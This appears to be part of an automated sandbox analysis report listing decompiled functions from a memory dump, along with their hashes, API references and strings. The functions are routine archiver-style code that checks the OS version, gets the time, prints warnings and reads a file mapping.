Opcode ID: 2aa9e62a3a5f3e6a19f1e52aebde0479e0e0e75584c194c1cf8aedb393090f13
Instruction ID: 33ba29f9e55c3fd9cbf705696c3b880eef512bfa5a7878f440c3eac251b447f3
Opcode Fuzzy Hash: 2aa9e62a3a5f3e6a19f1e52aebde0479e0e0e75584c194c1cf8aedb393090f13
Instruction Fuzzy Hash: 7921A6B2E1024AABDB10EFE99C816FEF7B8EF94614F10412AE111B3180D7745A45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012615C3 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012615C3() {
				struct _OSVERSIONINFOW _v280;
				void* _t7;

				_v280.dwOSVersionInfoSize = 0x114;
				if(GetVersionExW( &_v280) == 0 || _v280.dwPlatformId != 2) {
					return 0;
				} else {
					_t7 = 1;
					return _t7;
				}
			}

0x012615d2
0x012615e5
0x012615f8
0x012615f0
0x012615f2
0x012615f4
0x012615f4

APIs

GetVersionExW.KERNEL32(?), ref: 012615DD

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: ff70627380ca37b0daf0bc721e6fac94b4a6849eca2868cc030b7b5e679fd4e5
Instruction ID: afe60a2be63f83514d3201eb4b2afede88867b80439e8f151b2adb3647f34a60
Opcode Fuzzy Hash: ff70627380ca37b0daf0bc721e6fac94b4a6849eca2868cc030b7b5e679fd4e5
Instruction Fuzzy Hash: CBD05EB0A2021D8BDF345A24AA0B7C6B7FC9740B48F0444E09706E11C0EAB4E6C88DB1

Uniqueness

Uniqueness Score: -1.00%

Function 0123877D Relevance: 1.5, APIs: 1, Instructions: 3
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0123877D(void* __eax, struct _FILETIME* __ecx) {
				void* _t1;

				_t1 = __eax;
				GetSystemTimeAsFileTime(__ecx);
				return _t1;
			}

0x0123877d
0x0123877e
0x01238784

APIs

GetSystemTimeAsFileTime.KERNEL32(?,01260A46,00000000,00000000,761F89A0), ref: 0123877E

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: 74a4544d1432aac2b21be66dad5905498250de7d3a34e1f256ce2c092c67c323
Instruction ID: 7abb7199e6536a1aa319c3d71185f6a7cef986b396b6c1f9cda20c40888e02c1
Opcode Fuzzy Hash: 74a4544d1432aac2b21be66dad5905498250de7d3a34e1f256ce2c092c67c323
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0123765C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dcb2675df9b73bfee58f556134304826c188a12d995c5211a709401821742ec5
Instruction ID: 77f8e5365909c80e4e9908d5428334bb9f401c9d08605cca5b9135352d18596a
Opcode Fuzzy Hash: dcb2675df9b73bfee58f556134304826c188a12d995c5211a709401821742ec5
Instruction Fuzzy Hash: 1ED05EF15387157EDE31592E60207ABBB840FF3624E0698AFD2585324285B48486AE61

Uniqueness

Uniqueness Score: -1.00%

Function 01260733 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E01260733(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _t50;
				void* _t51;
				void* _t54;
				void* _t55;
				signed char* _t83;
				intOrPtr _t86;
				struct _IO_FILE** _t87;
				signed char _t91;
				intOrPtr _t133;
				signed int _t140;
				struct _IO_FILE** _t142;
				void* _t144;

				_t133 = __edx;
				E012639E0(0x1267864, _t144);
				 *((intOrPtr*)(_t144 - 0x18)) = __ecx;
				_t91 = 0;
				_t142 =  *(_t144 + 0x10);
				 *((intOrPtr*)(_t144 - 0x10)) = __edx;
				 *((intOrPtr*)(_t144 - 0x14)) = 0;
				if( *((intOrPtr*)(__edx + 0xf8)) == 0) {
					L4:
					_t83 =  *(_t144 + 8);
					if( *((intOrPtr*)(_t144 - 0x18)) != _t91 ||  *_t83 != _t91 || _t83[8] != _t91 || _t83[0x14] != _t91) {
						__eflags = _t142 - _t91;
						if(_t142 == _t91) {
							L31:
							_t50 = 2;
							goto L32;
						}
						_t51 = E012328E9(_t144 - 0x24);
						_t140 = 0;
						__eflags = _t83[8];
						 *(_t144 - 4) = 0;
						if(_t83[8] != 0) {
							E01232CAD(_t144 - 0x24, _t83[4]);
							_t51 = E01232BFE(_t144 - 0x24);
						}
						__eflags = _t83[0x14];
						if(__eflags <= 0) {
							L26:
							_t85 =  *_t83;
							__eflags =  *_t83;
							if(__eflags != 0) {
								_t54 = E01234B4D(_t144 - 0x30, _t85, __eflags);
								 *(_t144 - 4) = 1;
								_t55 = E01232C71(_t144 - 0x24, __eflags, _t54);
								_t39 = _t144 - 4;
								 *_t39 =  *(_t144 - 4) & 0x00000000;
								__eflags =  *_t39;
								E01231ABD(_t55,  *((intOrPtr*)(_t144 - 0x30)));
								_t51 = E01232BFE(_t144 - 0x24);
							}
							__eflags =  *(_t144 - 0x20);
							if( *(_t144 - 0x20) != 0) {
								_push( *((intOrPtr*)(_t144 - 0x24)));
								_push(L"\nError:\n");
								_t51 = E01231CC1(E01231CC1(_t142));
							}
							E01231ABD(_t51,  *((intOrPtr*)(_t144 - 0x24)));
							goto L31;
						} else {
							do {
								E01232C71(_t144 - 0x24, __eflags,  *((intOrPtr*)(_t83[0x10] + _t140 * 4)));
								_t51 = E01232BFE(_t144 - 0x24);
								_t140 = _t140 + 1;
								__eflags = _t140 - _t83[0x14];
							} while (__eflags < 0);
							goto L26;
						}
					} else {
						_t86 =  *((intOrPtr*)(_t133 + 0xe0));
						if(_t86 != _t91) {
							__eflags = _t142 - _t91;
							if(_t142 != _t91) {
								E01231CAE(_t142);
								fputs("WARNINGS for files:",  *_t142);
								E01231CAE(_t142);
								E01231CAE(_t142);
								E01260965( *((intOrPtr*)(_t144 - 0x10)) + 0xdc, _t142);
								fputs("WARNING: Cannot open ",  *_t142);
								fputs(" file",  *(E01231F1E(_t142, _t86)));
								__eflags = _t86 - 1;
								if(_t86 > 1) {
									fputc(0x73,  *_t142);
								}
								E01231CAE(_t142);
							}
							 *((intOrPtr*)(_t144 - 0x14)) = 1;
						} else {
							if( *((char*)(_t144 + 0x14)) != 0 &&  *((intOrPtr*)(_t133 + 0xf8)) == _t91) {
								_t87 =  *(_t144 + 0xc);
								if(_t87 != _t91) {
									if(_t142 != _t91) {
										E01231C9F(_t142);
									}
									fputs( *0x126b788,  *_t87);
									E01231CAE(_t87);
								}
							}
						}
						_t50 =  *((intOrPtr*)(_t144 - 0x14));
						L32:
						 *[fs:0x0] =  *((intOrPtr*)(_t144 - 0xc));
						return _t50;
					}
				}
				if(_t142 != 0) {
					E01231CAE(_t142);
					fputs("Scan WARNINGS for files and folders:",  *_t142);
					E01231CAE(_t142);
					E01231CAE(_t142);
					E01260965( *((intOrPtr*)(_t144 - 0x10)) + 0xf4, _t142);
					fputs("Scan WARNINGS: ",  *_t142);
					E01231F1E(_t142,  *((intOrPtr*)( *((intOrPtr*)(_t144 - 0x10)) + 0xf8)));
					E01231CAE(_t142);
					_t133 =  *((intOrPtr*)(_t144 - 0x10));
					_t91 = 0;
				}
				 *((intOrPtr*)(_t144 - 0x14)) = 1;
				goto L4;
			}

0x01260733
0x01260738
0x01260746
0x0126074a
0x0126074d
0x01260759
0x0126075c
0x0126075f
0x012607c1
0x012607c4
0x012607c7
0x012608ab
0x012608ad
0x01260951
0x01260953
0x00000000
0x01260953
0x012608b6
0x012608bb
0x012608bd
0x012608c0
0x012608c3
0x012608cb
0x012608d3
0x012608d3
0x012608d8
0x012608dc
0x012608fa
0x012608fa
0x012608fc
0x012608fe
0x01260905
0x0126090e
0x01260912
0x01260917
0x01260917
0x01260917
0x0126091e
0x01260927
0x01260927
0x0126092c
0x01260930
0x01260932
0x01260937
0x01260943
0x01260943
0x0126094b
0x00000000
0x012608de
0x012608de
0x012608e7
0x012608ef
0x012608f4
0x012608f5
0x012608f5
0x00000000
0x012608de
0x012607e7
0x012607e7
0x012607ef
0x01260832
0x01260834
0x01260838
0x01260844
0x0126084a
0x01260851
0x01260861
0x0126086d
0x01260880
0x01260883
0x01260887
0x0126088d
0x01260894
0x01260897
0x01260897
0x0126089c
0x012607f1
0x012607f5
0x01260807
0x0126080c
0x01260814
0x01260818
0x01260818
0x01260825
0x0126082b
0x0126082b
0x0126080c
0x012607f5
0x012608a3
0x01260954
0x0126095a
0x01260962
0x01260962
0x012607c7
0x01260763
0x01260767
0x01260773
0x01260779
0x01260780
0x01260790
0x012607a2
0x012607a9
0x012607b0
0x012607b5
0x012607b8
0x012607b8
0x012607ba
0x00000000

APIs

__EH_prolog.LIBCMT ref: 01260738
fputs.MSVCRT ref: 012607A2

Part of subcall function 01231F1E: fputs.MSVCRT ref: 01231F38

fputs.MSVCRT ref: 01260773

Part of subcall function 01260965: __EH_prolog.LIBCMT ref: 0126096A
Part of subcall function 01260965: fputs.MSVCRT ref: 01260993
Part of subcall function 01260965: fputs.MSVCRT ref: 012609D7

fputs.MSVCRT ref: 01260825
fputs.MSVCRT ref: 01260844
fputs.MSVCRT ref: 0126086D
fputs.MSVCRT ref: 01260880
fputc.MSVCRT ref: 0126088D

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Strings

WARNINGS for files:, xrefs: 0126083F
file, xrefs: 0126087B
Error:, xrefs: 01260937
F#v, xrefs: 01260749
WARNING: Cannot open , xrefs: 01260868
Scan WARNINGS for files and folders:, xrefs: 0126076E
@F#v, xrefs: 01260750
Scan WARNINGS: , xrefs: 0126079D

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prologfputc
String ID: Error:$ F#v$ file$@F#v$Scan WARNINGS for files and folders:$Scan WARNINGS: $WARNING: Cannot open $WARNINGS for files:
API String ID: 3294964263-3265244947
Opcode ID: e4f4497a8d2d1d5fe57f561b8f67b5368c6c689294db69851e4b7f25b30bf446
Instruction ID: b146e040f7e98f85e6ba5bbffb090e359e4d793756d91468b45fce1c5d7da03b
Opcode Fuzzy Hash: e4f4497a8d2d1d5fe57f561b8f67b5368c6c689294db69851e4b7f25b30bf446
Instruction Fuzzy Hash: 3351C471A20207DBDF2AFF98D890ABCB7B5EF94200F20046EE501662C1DF715D91DB96

Uniqueness

Uniqueness Score: -1.00%

Function 0125CD30 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 240
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0125CD30(struct _IO_FILE** __ecx, intOrPtr __edx) {
				short _t102;
				signed int _t108;
				signed int _t109;
				char* _t111;
				signed int _t115;
				signed int _t116;
				intOrPtr _t128;
				intOrPtr _t130;
				intOrPtr _t136;
				char* _t140;
				void* _t142;
				struct _IO_FILE** _t147;
				signed int _t159;
				void* _t199;
				void* _t200;
				void* _t204;
				signed int _t205;
				void* _t206;
				intOrPtr* _t207;
				void* _t208;
				intOrPtr* _t211;
				intOrPtr* _t212;
				short _t213;
				void* _t214;

				E012639E0(0x1267234, _t214);
				 *(_t214 - 0x14) =  *(_t214 - 0x14) & 0x00000000;
				 *((intOrPtr*)(_t214 - 0x20)) = __edx;
				_t147 = __ecx;
				if( *((intOrPtr*)( *((intOrPtr*)(_t214 + 8)) + 4)) <= 0) {
					L29:
					_t102 = 0;
					L30:
					 *[fs:0x0] =  *((intOrPtr*)(_t214 - 0xc));
					return _t102;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t211 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t214 + 8)))) +  *(_t214 - 0x14) * 4));
					_t204 = _t211 + 0x10;
					fputs("--\n",  *_t147);
					_push(0);
					_push( *((intOrPtr*)(_t211 + 0x70)));
					E0125D06E(_t147, "Path");
					_t108 =  *(_t204 + 0xc);
					if(_t108 >= 0) {
						if(_t108 !=  *(_t211 + 0x94)) {
							__eflags = _t108;
							if(_t108 >= 0) {
								_t140 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t214 - 0x20)) + 0x28)) + _t108 * 4)) + 0xc));
							} else {
								_t140 = "#";
							}
							E0123292C(_t214 - 0x40, _t140);
							 *(_t214 - 4) =  *(_t214 - 4) & 0x00000000;
							_t142 = E0125D2F3(_t147, _t214 - 0x40, 1);
							_t23 = _t214 - 4;
							 *_t23 =  *(_t214 - 4) | 0xffffffff;
							__eflags =  *_t23;
							E01231ABD(_t142,  *((intOrPtr*)(_t214 - 0x40)));
						} else {
							fputs("Warning: The archive is open with offset",  *_t147);
							E01231CAE(_t147);
						}
					}
					_t109 =  *(_t211 + 0x94);
					if(_t109 >= 0) {
						_t111 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t214 - 0x20)) + 0x28)) + _t109 * 4)) + 0xc));
					} else {
						_t111 = "#";
					}
					_push(0);
					_push(_t111);
					E0125D06E(_t147, "Type");
					E0125D34F(_t147, _t204);
					_t159 =  *(_t211 + 0xd4);
					_t115 =  *((intOrPtr*)(_t211 + 0xd0)) +  *((intOrPtr*)(_t211 + 0xa8));
					asm("adc ecx, [esi+0xac]");
					if((_t115 | _t159) != 0) {
						_push(_t159);
						_push(_t115);
						_t200 = 0x24;
						E0125D04C(_t147, _t200);
					}
					_t212 =  *_t211;
					_push(0);
					_push(0x2c);
					_t102 = E0125D292(_t147, _t212);
					if(_t102 != 0) {
						goto L30;
					}
					_t116 =  *(_t204 + 0x10);
					_t205 =  *(_t204 + 0x14);
					if((_t116 | _t205) != 0) {
						_push(_t205);
						_push(_t116);
						_t199 = 0x57;
						E0125CFE8(_t147, _t199);
					}
					_t102 =  *((intOrPtr*)( *_t212 + 0x2c))(_t212, _t214 - 0x24);
					_t206 = 0;
					if(_t102 != 0) {
						goto L30;
					} else {
						if( *((intOrPtr*)(_t214 - 0x24)) <= 0) {
							L21:
							_t207 =  *((intOrPtr*)(_t214 + 8));
							if( *(_t214 - 0x14) ==  *((intOrPtr*)(_t207 + 4)) - 1) {
								L28:
								 *(_t214 - 0x14) =  *(_t214 - 0x14) + 1;
								if( *(_t214 - 0x14) <  *((intOrPtr*)(_t207 + 4))) {
									continue;
								}
								goto L29;
							}
							fputs("----\n",  *_t147);
							_push(_t214 - 0x2c);
							_push(_t212);
							if( *((intOrPtr*)( *_t212 + 0x24))() != 0) {
								goto L28;
							}
							_t208 = 0;
							 *(_t214 - 0x18) =  *( *((intOrPtr*)( *_t207 + 4 +  *(_t214 - 0x14) * 4)) + 0x98);
							if( *((intOrPtr*)(_t214 - 0x2c)) <= 0) {
								L27:
								_t207 =  *((intOrPtr*)(_t214 + 8));
								goto L28;
							} else {
								goto L24;
							}
							while(1) {
								L24:
								 *(_t214 - 0x1c) =  *(_t214 - 0x1c) & 0x00000000;
								 *(_t214 - 4) = 2;
								_t128 =  *((intOrPtr*)( *_t212 + 0x28))(_t212, _t208, _t214 - 0x1c, _t214 - 0x28, _t214 - 0x10);
								if(_t128 != 0) {
									break;
								}
								 *((short*)(_t214 - 0x50)) = 0;
								 *((short*)(_t214 - 0x4e)) = 0;
								 *((intOrPtr*)(_t214 - 0x48)) = 0;
								 *(_t214 - 4) = 3;
								_t130 =  *((intOrPtr*)( *_t212 + 0x18))(_t212,  *(_t214 - 0x18),  *((intOrPtr*)(_t214 - 0x28)), _t214 - 0x50);
								_t235 = _t130;
								 *((intOrPtr*)(_t214 - 0x34)) = _t130;
								if(_t130 != 0) {
									E01238173(_t214 - 0x50);
									_t213 =  *((intOrPtr*)(_t214 - 0x34));
									L34:
									_push( *(_t214 - 0x1c));
									L35:
									__imp__#6();
									_t102 = _t213;
									goto L30;
								}
								E0125D1D4(_t147,  *((intOrPtr*)(_t214 - 0x28)), _t235);
								E01238173(_t214 - 0x50);
								 *(_t214 - 4) =  *(_t214 - 4) | 0xffffffff;
								__imp__#6( *(_t214 - 0x1c),  *(_t214 - 0x1c), _t214 - 0x50);
								_t208 = _t208 + 1;
								if(_t208 <  *((intOrPtr*)(_t214 - 0x2c))) {
									continue;
								}
								goto L27;
							}
							_t213 = _t128;
							goto L34;
						} else {
							goto L18;
						}
						while(1) {
							L18:
							 *(_t214 - 0x18) =  *(_t214 - 0x18) & 0x00000000;
							 *(_t214 - 4) = 1;
							_t136 =  *((intOrPtr*)( *_t212 + 0x30))(_t212, _t206, _t214 - 0x18, _t214 - 0x30, _t214 - 0xe);
							if(_t136 != 0) {
								break;
							}
							_push( *(_t214 - 0x18));
							_push( *((intOrPtr*)(_t214 - 0x30)));
							_t136 = E0125D292(_t147, _t212);
							if(_t136 != 0) {
								break;
							}
							 *(_t214 - 4) =  *(_t214 - 4) | 0xffffffff;
							__imp__#6( *(_t214 - 0x18));
							_t206 = _t206 + 1;
							if(_t206 <  *((intOrPtr*)(_t214 - 0x24))) {
								continue;
							}
							goto L21;
						}
						_push( *(_t214 - 0x18));
						_t213 = _t136;
						goto L35;
					}
				}
				goto L30;
			}

0x0125cd35
0x0125cd40
0x0125cd4b
0x0125cd4e
0x0125cd50
0x0125cfb2
0x0125cfb2
0x0125cfb4
0x0125cfba
0x0125cfc2
0x00000000
0x00000000
0x00000000
0x0125cd56
0x0125cd56
0x0125cd65
0x0125cd68
0x0125cd6b
0x0125cd7b
0x0125cd7d
0x0125cd80
0x0125cd85
0x0125cd8a
0x0125cd92
0x0125cdac
0x0125cdae
0x0125cdc0
0x0125cdb0
0x0125cdb0
0x0125cdb0
0x0125cdc7
0x0125cdcc
0x0125cdd7
0x0125cddc
0x0125cddc
0x0125cddc
0x0125cde3
0x0125cd94
0x0125cd9b
0x0125cda5
0x0125cda5
0x0125cd92
0x0125cde9
0x0125cdf1
0x0125ce03
0x0125cdf3
0x0125cdf3
0x0125cdf3
0x0125ce06
0x0125ce08
0x0125ce10
0x0125ce19
0x0125ce24
0x0125ce2a
0x0125ce30
0x0125ce3a
0x0125ce3c
0x0125ce3d
0x0125ce42
0x0125ce43
0x0125ce43
0x0125ce48
0x0125ce4a
0x0125ce4c
0x0125ce52
0x0125ce59
0x00000000
0x00000000
0x0125ce5f
0x0125ce62
0x0125ce69
0x0125ce6b
0x0125ce6c
0x0125ce71
0x0125ce72
0x0125ce72
0x0125ce7e
0x0125ce81
0x0125ce85
0x00000000
0x0125ce8b
0x0125ce8e
0x0125cee0
0x0125cee0
0x0125ceea
0x0125cfa3
0x0125cfa3
0x0125cfac
0x00000000
0x00000000
0x00000000
0x0125cfac
0x0125cef7
0x0125cf04
0x0125cf05
0x0125cf0b
0x00000000
0x00000000
0x0125cf16
0x0125cf25
0x0125cf28
0x0125cfa0
0x0125cfa0
0x00000000
0x00000000
0x00000000
0x00000000
0x0125cf2a
0x0125cf2a
0x0125cf2a
0x0125cf3e
0x0125cf45
0x0125cf4c
0x00000000
0x00000000
0x0125cf4e
0x0125cf52
0x0125cf56
0x0125cf5f
0x0125cf6a
0x0125cf6d
0x0125cf6f
0x0125cf72
0x0125cfd3
0x0125cfd8
0x0125cfdb
0x0125cfdb
0x0125cfde
0x0125cfde
0x0125cfe4
0x00000000
0x0125cfe4
0x0125cf80
0x0125cf88
0x0125cf8d
0x0125cf94
0x0125cf9a
0x0125cf9e
0x00000000
0x00000000
0x00000000
0x0125cf9e
0x0125cfcc
0x00000000
0x00000000
0x00000000
0x00000000
0x0125ce90
0x0125ce90
0x0125ce90
0x0125cea4
0x0125ceab
0x0125ceb0
0x00000000
0x00000000
0x0125ceb6
0x0125cebd
0x0125cec0
0x0125cec7
0x00000000
0x00000000
0x0125ced0
0x0125ced4
0x0125ceda
0x0125cede
0x00000000
0x00000000
0x00000000
0x0125cede
0x0125cfc5
0x0125cfc8
0x00000000
0x0125cfc8
0x0125ce85
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0125CD35
fputs.MSVCRT ref: 0125CD6B

Part of subcall function 0125D06E: __EH_prolog.LIBCMT ref: 0125D073
Part of subcall function 0125D06E: fputs.MSVCRT ref: 0125D088
Part of subcall function 0125D06E: fputs.MSVCRT ref: 0125D091

fputs.MSVCRT ref: 0125CD9B

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

SysFreeString.OLEAUT32(00000000), ref: 0125CED4
fputs.MSVCRT ref: 0125CEF7
SysFreeString.OLEAUT32(00000000), ref: 0125CF94
SysFreeString.OLEAUT32(00000000), ref: 0125CFDE

Strings

Type, xrefs: 0125CE09
--, xrefs: 0125CD60
Path, xrefs: 0125CD76
Warning: The archive is open with offset, xrefs: 0125CD96
----, xrefs: 0125CEF2

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$FreeString$H_prolog$fputc
String ID: --$----$Path$Type$Warning: The archive is open with offset
API String ID: 2047134881-3797937567
Opcode ID: 3035d29c1cc6922f3cd893dcc74bd069499c746622a958266ca3686a58f35c09
Instruction ID: a7bd56bf3b6b05556237dd5a3e1e462beee1043edfff511682d99b5d7936efe3
Opcode Fuzzy Hash: 3035d29c1cc6922f3cd893dcc74bd069499c746622a958266ca3686a58f35c09
Instruction Fuzzy Hash: F9919071A20206DFCB55DFA8C884EAEBBB9FF48310F10411DE906E7290EB70AD55CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0123C838 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0123C838(intOrPtr __ecx, void* __edx, void* __eflags) {
				signed int _t86;
				void* _t87;
				void* _t89;
				signed int _t98;
				long _t104;
				long _t109;
				signed int _t111;
				signed int _t139;
				intOrPtr* _t140;
				signed int _t143;
				char* _t144;
				void* _t146;
				void* _t147;

				E012639E0(E01264A60, _t147);
				 *((intOrPtr*)(_t147 - 0x18)) = __ecx;
				E012329BC(_t147 - 0x28, __eflags, __edx);
				_t109 = 0;
				 *(_t147 - 4) = 0;
				_t143 = E01231F93( *(_t147 - 0x28), 0x3a);
				if(_t143 >= 0) {
					_t78 = E01231F93( *(_t147 - 0x28) + 2 + _t143 * 2, 0x3a);
					__eflags = _t78;
					if(_t78 < 0) {
						goto L1;
					}
					_t10 = _t143 + 1; // 0x1
					_t139 = _t78 + _t10;
					__eflags = _t139;
					if(_t139 < 0) {
						goto L1;
					}
					E0123292C(_t147 - 0x40,  *(_t147 - 0x28) + 2 + _t139 * 2);
					__eflags = _t139 -  *(_t147 - 0x24);
					if(_t139 <  *(_t147 - 0x24)) {
						 *(_t147 - 0x24) = _t139;
						( *(_t147 - 0x28))[_t139] = 0;
					}
					_t86 = E0123B942( *(_t147 - 0x28) + 2 + _t143 * 2, _t147 - 0x14);
					__eflags = _t86;
					if(_t86 == 0) {
						L29:
						_t144 = "Unsupported Map data size";
						goto L30;
					} else {
						__eflags =  *(_t147 - 0x14) - 2;
						if( *(_t147 - 0x14) < 2) {
							goto L29;
						}
						__eflags =  *(_t147 - 0x14) - 0x80000000;
						if( *(_t147 - 0x14) > 0x80000000) {
							goto L29;
						}
						__eflags =  *(_t147 - 0x14) & 0x00000001;
						if(( *(_t147 - 0x14) & 0x00000001) != 0) {
							goto L29;
						}
						__eflags = _t143 -  *(_t147 - 0x24);
						if(_t143 <  *(_t147 - 0x24)) {
							 *(_t147 - 0x24) = _t143;
							( *(_t147 - 0x28))[_t143] = _t109;
						}
						 *(_t147 - 0x10) = _t109;
						_t87 = OpenFileMappingW(4, _t109,  *(_t147 - 0x28));
						__eflags = _t87 - _t109;
						 *(_t147 - 0x10) = _t87;
						if(_t87 != _t109) {
							L15:
							_t146 = MapViewOfFile( *(_t147 - 0x10), 4, _t109, _t109,  *(_t147 - 0x14));
							__eflags = _t146 - _t109;
							if(_t146 != _t109) {
								 *(_t147 - 0x1c) = _t146;
								 *(_t147 - 4) = 3;
								_t89 = E012328E9(_t147 - 0x34);
								__eflags =  *_t146 - _t109;
								 *(_t147 - 4) = 4;
								if( *_t146 == _t109) {
									_t91 =  *(_t147 - 0x14) >> 1;
									__eflags = _t91 - 1;
									if(_t91 <= 1) {
										L26:
										__eflags =  *(_t147 - 0x30) - _t109;
										_push( *(_t147 - 0x34));
										if( *(_t147 - 0x30) == _t109) {
											E01231ABD(_t91);
											UnmapViewOfFile(_t146);
											 *(_t147 - 4) = 1;
											E0123CA53(_t147 - 0x10);
											_t144 = 0;
										} else {
											E01231ABD(_t91);
											UnmapViewOfFile(_t146);
											 *(_t147 - 4) = 1;
											E0123CA53(_t147 - 0x10);
											_t144 = "Map data error";
										}
										goto L30;
									}
									_t53 = _t146 + 2; // 0x2
									_t140 = _t53;
									_t54 = _t91 - 1; // 0x0
									_t111 = _t54;
									do {
										_t98 =  *_t140;
										__eflags = _t98;
										if(_t98 != 0) {
											_t91 = E01231089(_t147 - 0x34, _t98);
										} else {
											E0123C2ED( *((intOrPtr*)(_t147 - 0x18)), _t147 - 0x34,  *((intOrPtr*)(_t147 + 8)),  *((intOrPtr*)(_t147 + 0xc)),  *((intOrPtr*)(_t147 + 0x10)));
											_t91 =  *(_t147 - 0x34);
											 *(_t147 - 0x30) =  *(_t147 - 0x30) & 0x00000000;
											 *( *(_t147 - 0x34)) =  *( *(_t147 - 0x34)) & 0x00000000;
										}
										_t140 = _t140 + 2;
										_t111 = _t111 - 1;
										__eflags = _t111;
									} while (_t111 != 0);
									_t109 = 0;
									__eflags = 0;
									goto L26;
								}
								E01231ABD(_t89,  *(_t147 - 0x34));
								UnmapViewOfFile(_t146);
								 *(_t147 - 4) = 1;
								E0123CA53(_t147 - 0x10);
								_t144 = "Unsupported Map data";
								goto L30;
							}
							 *(_t147 - 4) = 1;
							E0123CA53(_t147 - 0x10);
							_t144 = "MapViewOfFile error";
							goto L30;
						} else {
							_t104 = GetLastError();
							__eflags = _t104 - _t109;
							if(_t104 == _t109) {
								goto L15;
							}
							 *(_t147 - 4) = 1;
							E0123CA53(_t147 - 0x10);
							_t144 = "Can not open mapping";
							L30:
							_t70 = _t147 - 4;
							 *_t70 =  *(_t147 - 4) & 0x00000000;
							__eflags =  *_t70;
							_t78 = E0123CA7B();
							L31:
							E01231ABD(_t78,  *(_t147 - 0x28));
							 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
							return _t144;
						}
					}
				}
				L1:
				_t144 =  *0x1268678; // 0x12686fc
				goto L31;
			}

0x0123c83d
0x0123c847
0x0123c84f
0x0123c857
0x0123c85d
0x0123c865
0x0123c869
0x0123c881
0x0123c886
0x0123c888
0x00000000
0x00000000
0x0123c88a
0x0123c88a
0x0123c88e
0x0123c890
0x00000000
0x00000000
0x0123c89d
0x0123c8a2
0x0123c8a5
0x0123c8aa
0x0123c8ad
0x0123c8ad
0x0123c8bb
0x0123c8c0
0x0123c8c2
0x0123ca26
0x0123ca26
0x00000000
0x0123c8c8
0x0123c8c8
0x0123c8cc
0x00000000
0x00000000
0x0123c8d2
0x0123c8d9
0x00000000
0x00000000
0x0123c8df
0x0123c8e3
0x00000000
0x00000000
0x0123c8e9
0x0123c8ec
0x0123c8f1
0x0123c8f4
0x0123c8f4
0x0123c8f8
0x0123c901
0x0123c907
0x0123c909
0x0123c90c
0x0123c92e
0x0123c93e
0x0123c940
0x0123c942
0x0123c95a
0x0123c960
0x0123c964
0x0123c969
0x0123c96c
0x0123c970
0x0123c99b
